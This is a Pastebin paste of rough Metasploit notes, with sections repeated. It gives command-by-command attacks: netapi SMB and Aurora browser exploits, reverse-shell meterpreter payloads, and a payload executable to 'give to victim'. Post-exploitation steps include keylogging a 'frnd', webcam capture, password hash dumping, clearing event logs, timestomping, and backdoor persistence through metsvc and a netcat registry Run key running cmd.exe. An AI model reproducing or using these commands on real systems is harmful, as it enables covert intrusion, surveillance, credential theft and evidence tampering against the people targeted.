Advertisement
Shadow_Walker

Quick Metasploit Tutorial

Apr 28th, 2014
863
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.32 KB | None | 0 0
  1. METASPLOIT
  2.  
  3.  
  4. Vulnerability : A weakness that allows an attacker to compromise the secrity of system.
  5. Exploits : Doing the step by step procedure of gathering information
  6. Payload : the process to gain access which is blocked by user
  7. Encoders : The process to remove tracks.
  8.  
  9.  
  10. Need for metasploit:-
  11.  
  12. 1] difficult to manage,update,customize dozen of exploits available on internet for differnet technologies
  13. 2]custmoization of exploits will be time consuming & one also need high skills do to same
  14.  
  15.  
  16. METASPLOIT
  17.  
  18. Teesting framework for Penetration testing contains 700+exploit
  19.  
  20.  
  21. http://cve.mitre.org
  22.  
  23. commands
  24. 1] Open Terminal and type : msfconsole
  25. root@bt# msfconsole
  26.  
  27.  
  28. 1 msf>search exploits
  29. 2 msf>use exploit path
  30. 3 msf>set exploit path
  31. 4 msf>show options
  32. 5 msf>show exploit
  33.  
  34. roobt@bt#>ifconfig(our ipadrees bt ) winxp:
  35. CMD>ipconfig- victim
  36. 5 msf>set rhost xp ip
  37. 6 msf> show options
  38. 7 msf> show payloads
  39. 8 msf> set payload path
  40. 9 msf>show option
  41. 10 msf> set lhost bt ip bt= backtrack
  42. 11 msf>show options
  43. 12 msf>exploit
  44.  
  45. we got C:/windows:
  46.  
  47.  
  48.  
  49. 2]MEterpreter payload
  50.  
  51. meterpreter sends file in cryted file
  52.  
  53. step1] msf>show exploits
  54. step2] msf> use exploit path
  55. step3] msf>set exploit path
  56. step4] msf>show options
  57. step5]msf> set rhost xp ip
  58. step6] msf> show option
  59. step7] msf> show payloads
  60. step8] msf> set payload windows/meterpreter/reverse_tcp
  61. step9] show option
  62. step10] msf> set lhost backtrack ip
  63. step11] msf> show option
  64. step12] msf> exploit
  65.  
  66.  
  67. step 1[ meterpreter> background
  68. 2] meterpreter>show options
  69. 3] meterpreter>exploit
  70. 4] meterpreter>sessions-i 1
  71. 5] meterpreter>getuid
  72. 6] meterpreter>getsystem
  73. 7] meterpreter>ps
  74. 8] meterpreter>getpid
  75. 9] meterpreter>migrate
  76. 8]lpwd(Print Local working directory)
  77. 9] pwd
  78. 10] screenshot
  79. 11] getdesktop
  80. 12] keyscan_start {keylogger start}
  81. 13] keyscan_dump {get what frnd is typing}
  82. 14] keyscan_stop {keylogger stop}
  83. 15] webcame_list list of webcam
  84. 16] webcam_snap (webcam gives snap_
  85. 17] hashdump
  86.  
  87.  
  88. -----------------------------------------------------------> C:/windows/System>SAM FILE OPH crack {converts hashes}
  89.  
  90. 18]meterpreter>run scraper
  91. 19]meterpreter>mkdir
  92. 20]meterpreter>edit path
  93. 21]meterpreter> delete path
  94. 22] meterpreter>upload backtrack_path winxp_path
  95. 23] meterpreter>cd c:/
  96. 24] meterpreter>clearev
  97. 25]meterpreter>timestomp
  98. 26]MACE- modified Accesed Created Entry
  99. 27]meterpreter>timestomp C:/sunny.txt -"10/10/12"
  100. 28]meterpreter>run metsvc (For creating backdoor)
  101. ______________________________________________________________________________________________________
  102. ARORA Exploit
  103.  
  104. msf>use exploit/windows/browser/ms10_002_aurora
  105. msf>show options
  106. msf>set URLPATH/
  107. http://192.168.42.131/
  108. msf>show payloads
  109. msf>set payload windows/vncinject/reverse_tcp
  110. vnc.exe
  111. msf>show options
  112. msf>set lhost 192.168.17.128
  113. msf>exploit
  114. ______________________________________________________________________________________________________
  115. WINDOWS 7 exploitation
  116.  
  117. start terminal/
  118. root@bt:~#
  119. msfpayload windows/meterpreter/reverse_tcp Lhost=192.168.17.128 LPORT=4444 x > /root/12345.exe
  120. msf> use exploit/multi/handler
  121. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  122. msf exploit(handler) > show options
  123.  
  124.  
  125. ARMYTAGE ---------------> for direct no commands usage needs
  126.  
  127. _________________________________________________________________________________________________________
  128. Multi/handler [Exploit]
  129. msf>use exploit/multi/handler
  130. msf>set payload windows/metsvc_bind_tcp
  131. msf>show options
  132. msf>set RHOST 192.168.17.127
  133. msf>exploit
  134.  
  135. _________________________________________________________________________________________________________
  136. Netapi
  137.  
  138. root@bt# msfconsole
  139. msf>show exploits
  140. msf>search netapi(or name of exploits which is depend on target computer os)
  141. msf>use exploit/windows/smb/ms08_067_netapi (address ofexploits)
  142. msf>set RHOST 192.168.132.29(ip address of victim or target)
  143. msf>show options
  144. msf>show payloads
  145. msf>set payloads windows/shell/reverse_tcp(name of payloads)
  146. msf>setLHOST 192.168.132.131(attacker ip address)
  147. msf>show options(if everything is ready then attack)
  148. msf>exploits
  149.  
  150. ####################################################################################
  151. ####################### Pentesting 1 ##############################
  152. ####################################################################################
  153.  
  154. Types Of Testing :
  155.  
  156. 1] White-Box Testing :
  157. 2] Black-Box Testing :
  158. 3] Grey-Box Testing :
  159. 4] Known Testing :
  160. 5] Unknown Testing :
  161. 6] Internal Testing : Within a company
  162. 7] External Testing : Outside the company
  163.  
  164. Process Of Pentesting :
  165.  
  166. 1] Footprinting/Scanning
  167. 2] Gaining Access
  168.  
  169.  
  170. Tools :
  171.  
  172. 1] Metasploit [ msfconnsole,msfupdate,]
  173. 2] Core-impact
  174.  
  175.  
  176.  
  177. METASPLOIT
  178.  
  179.  
  180. Vulnerability : A weakness that allows an attacker to compromise the secrity of system.
  181. Exploits : Doing the step by step procedure of gathering information
  182. Payload : the process to gain access which is blocked by user
  183. Encoders : The process to remove tracks.
  184.  
  185.  
  186. Need for metasploit:-
  187.  
  188. 1] difficult to manage,update,customize dozen of exploits available on internet for differnet technologies
  189. 2]custmoization of exploits will be time consuming & one also need high skills do to same
  190.  
  191.  
  192. METASPLOIT :-
  193.  
  194. Testing framework for Penetration testing contains 700+exploit
  195.  
  196.  
  197. http://cve.mitre.org
  198.  
  199. commands
  200. 1] Open Terminal and type : msfconsole
  201. root@bt# msfconsole
  202.  
  203.  
  204. 1 msf>search exploits
  205. 2 msf>use exploit path
  206. 3 msf>set exploit path
  207. 4 msf>show options
  208. 5 msf>show exploit
  209.  
  210. roobt@bt#>ifconfig(our ipadrees bt ) winxp:
  211. CMD>ipconfig- victim
  212. 5 msf>set rhost xp ip
  213. 6 msf> show options
  214. 7 msf> show payloads
  215. 8 msf> set payload path
  216. 9 msf>show option
  217. 10 msf> set lhost bt ip bt= backtrack
  218. 11 msf>show options
  219. 12 msf>exploit
  220.  
  221. we got C:/windows:
  222.  
  223.  
  224.  
  225. 2]MEterpreter payload
  226.  
  227. meterpreter sends file in cryted file
  228.  
  229. step1] msf>show exploits
  230. step2] msf> use exploit path
  231. step3] msf>set exploit path
  232. step4] msf>show options
  233. step5]msf> set rhost xp ip
  234. step6] msf> show option
  235. step7] msf> show payloads
  236. step8] msf> set payload windows/meterpreter/reverse_tcp
  237. step9] show option
  238. step10] msf> set lhost backtrack ip
  239. step11] msf> show option
  240. step12] msf> exploit
  241.  
  242.  
  243. step 1[ meterpreter> background
  244. 2] meterpreter>show options
  245. 3] meterpreter>exploit
  246. 4] meterpreter>sessions-i 1
  247. 5] meterpreter>getuid
  248. 6] meterpreter>getsystem
  249. 7] meterpreter>ps
  250. 8] meterpreter>getpid
  251. 9] meterpreter>migrate
  252. 8]lpwd(Print Local working directory)
  253. 9] pwd
  254. 10] screenshot
  255. 11] getdesktop
  256. 12] keyscan_start {keylogger start}
  257. 13] keyscan_dump {get what frnd is typing}
  258. 14] keyscan_stop {keylogger stop}
  259. 15] webcame_list list of webcam
  260. 16] webcam_snap (webcam gives snap_
  261. 17] hashdump
  262.  
  263.  
  264. --------------------------------------> C:/windows/System>SAM FILE OPH crack {converts hashes}
  265.  
  266. 18]meterpreter>run scraper
  267. 19]meterpreter>mkdir
  268. 20]meterpreter>edit path
  269. 21]meterpreter> delete path
  270. 22] meterpreter>upload backtrack_path winxp_path
  271. 23] meterpreter>cd c:/
  272. 24] meterpreter>clearev
  273. 25]meterpreter>timestomp
  274. 26]MACE- modified Accesed Created Entry
  275. 27]meterpreter>timestomp C:/sunny.txt -"10/10/12"
  276. 28]meterpreter>run metsvc (For creating backdoor)
  277. _________________________________________________________________________
  278.  
  279. ARORA Exploit
  280.  
  281. msf>use exploit/windows/browser/ms10_002_aurora
  282. msf>show options
  283. msf>set URLPATH/
  284. http://192.168.42.131/
  285. msf>show payloads
  286. msf>set payload windows/vncinject/reverse_tcp
  287. vnc.exe
  288. msf>show options
  289. msf>set lhost 192.168.17.128
  290. msf>exploit
  291. ___________________________________________________________________________
  292.  
  293. WINDOWS 7 exploitation
  294.  
  295. start terminal/
  296. root@bt:~#
  297. msfpayload windows/meterpreter/reverse_tcp Lhost=192.168.17.128 LPORT=4444 x > /root/12345.exe
  298. msf> use exploit/multi/handler
  299. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  300. msf exploit(handler) > show options
  301.  
  302.  
  303. ARMYTAGE ---------------> for direct no commands usage needs
  304.  
  305. ___________________________________________________________________________
  306. Multi/handler [Exploit]
  307. msf>use exploit/multi/handler
  308. msf>set payload windows/metsvc_bind_tcp
  309. msf>show options
  310. msf>set RHOST
  311.  
  312.  
  313. ################################################################################################
  314. ############################ Pentesting 2 #################################
  315. ###############################################################################################
  316.  
  317. http://whatstheirip.com/
  318.  
  319. --> Black hole Exploit kit []
  320.  
  321. Auxiliary - Pre defined task
  322. Exploits
  323. Payloads
  324.  
  325. Commands :
  326. 1] db_status - To see if u r online or not.
  327. 2] workspace - * for working
  328. > workspace -a lol ---> create workspace
  329. > db_nmap -T4 -A 192.168.76.130
  330. > hosts
  331. > services
  332.  
  333. 1] Metasploit :
  334.  
  335. > RCE ( Netapi ) ( Remote Code Exicution ) [Win XP SP-2,3]
  336. > msfconsole
  337. > search netapi
  338. > use exploit/windows/smb/ms08_067_netapi [ CVE NO = 067 ]
  339. > show options
  340. > set RHOST [TARGET IP]
  341. > set PAYLOAD windows/meterpreter/bind_tcp
  342. OR > set PAYLOAD windows/meterpreter/reverse_tcp [ Test other payload also ]
  343. > set LHOST [MY IP ADDRESS]
  344. > exploit
  345. meterpreter > getuid
  346. meterpreter > ps
  347. meterpreter > migrate 1444 [ migrate to that process which have admin privileges. ]
  348. meterpreter > idletime
  349. meterpreter > hashdump
  350. meterpreter > screenshot
  351. meterpreter > shell
  352. > c:\> exit
  353. >
  354. > Uploading Netcat :
  355. meterpreter > upload /pentest/windows-binaries/tools/nc.exe c:\\WINDOWS\\SYSTEM32\\
  356. meterpreter > reg enumkry -k HKLM\\software\\Microsoft\\Windows\\CurrentVersion\\Run
  357. meterpreter > reg setval -k HKLM\\software\\Microsoft\\Windows\\CurrentVersion\Run -v NETCAT -d C:\\WINDOWS\\system32\\nc.exe" -L -d -p 1234 -e cmd.exe"
  358. meterpreter > reg enumkey -k HKLM\\software\\Microsoft\\Windows\\CurrentVersion\\Run
  359.  
  360. Note : Netcat can be installed in win xp,vista,7 [ Once netcat is installed sucessfully on victim os no need to exploit use commands :]
  361. root@bt:~# nc <victim ip> <port>
  362. root@bt:~# nc 192.168.217.141 1234
  363.  
  364.  
  365. > More Commands :
  366.  
  367. meterpreter > cat <file name>
  368. meterpreter > download C:\\<file name>
  369. meterpreter > upload C:\\<file name>
  370. meterpreter > searrch -d C:\\ *d
  371. meterpreter > keyscan_start
  372. meterpreter > keyscan_dump
  373. meterpreter > keyscan_stop
  374. meterpreter > uictl disable keybord
  375. meterpreter > uictl enable keybord
  376. meterpreter > run [ press tab show many more commands ]
  377. meterpreter > run vnc
  378.  
  379. > Creating Backdoor :
  380.  
  381. meterpreter > run metsvc [Maximum Virus And Trojens Work On 31337 Port]
  382. meterpreter > background [ to go back ]
  383.  
  384. NOTE : What if our connection break or victim patch his vanul. to connect with our "Backdoor" :-
  385.  
  386. > use exploit/multi/handler
  387. > set payload/windows/metsvc_bind_tcp
  388. > show options
  389. > set rhost < victim >
  390. > set lport 31337 ---------> because our backdoor is working on 31337 port.
  391. > exploit
  392. meterpreter > run
  393. meterpreter >
  394.  
  395. > RCE ( Netapi ) ( Remote Code Exicution ) [ windows server 2003 SP-1,2,platinum ]
  396. > msfconsole
  397. > exploit/windows/smb/ms06_040_netapi
  398. > set PAYLOAD windows/meterpreter/reverse_tcp
  399. > set LHOST [MY IP ADDRESS]
  400. > set RHOST [TARGET IP]
  401. > exploit
  402.  
  403. > EXE [ Exploit ]
  404.  
  405. root@#~/ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.17.128 LPORT=4444 x > /root/12345.exe
  406. NOTE : Give 12345.exe [ virus ] to victim
  407. > use exploit/multi/handler
  408. > set PAYLOAD windows/meterpreter/reverse_tcp
  409. > show options
  410. > set lhost < Our Ip >
  411. > set lport 4444 ---------> because our virus is working on 4444 port
  412. > exploit
  413. meterpreter > run
  414.  
  415. > Autopwn [ combo of may exploits ] [See also : Java bean jmx17_jmxbean ]
  416. > use auxiliary/server/browser_autopwn
  417. > show options
  418. > set LHOST <My Ip >
  419. > set SRVHOST < My Server is hosted on my computer so again my ip >
  420. > set SRVPORT 80
  421. > set URIPATH /
  422. > exploit
  423.  
  424.  
  425. 2] armitage :
  426. > hosts / clear database
  427. > host / nmap / nmap_os scan
  428. > attack / find attack
  429. > right click/smb/ms08_067_netapi
  430. > launch attack
  431. > right click/meterpreter/
  432.  
  433. Note : If u don't know which attack to perform use " hail mary "
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement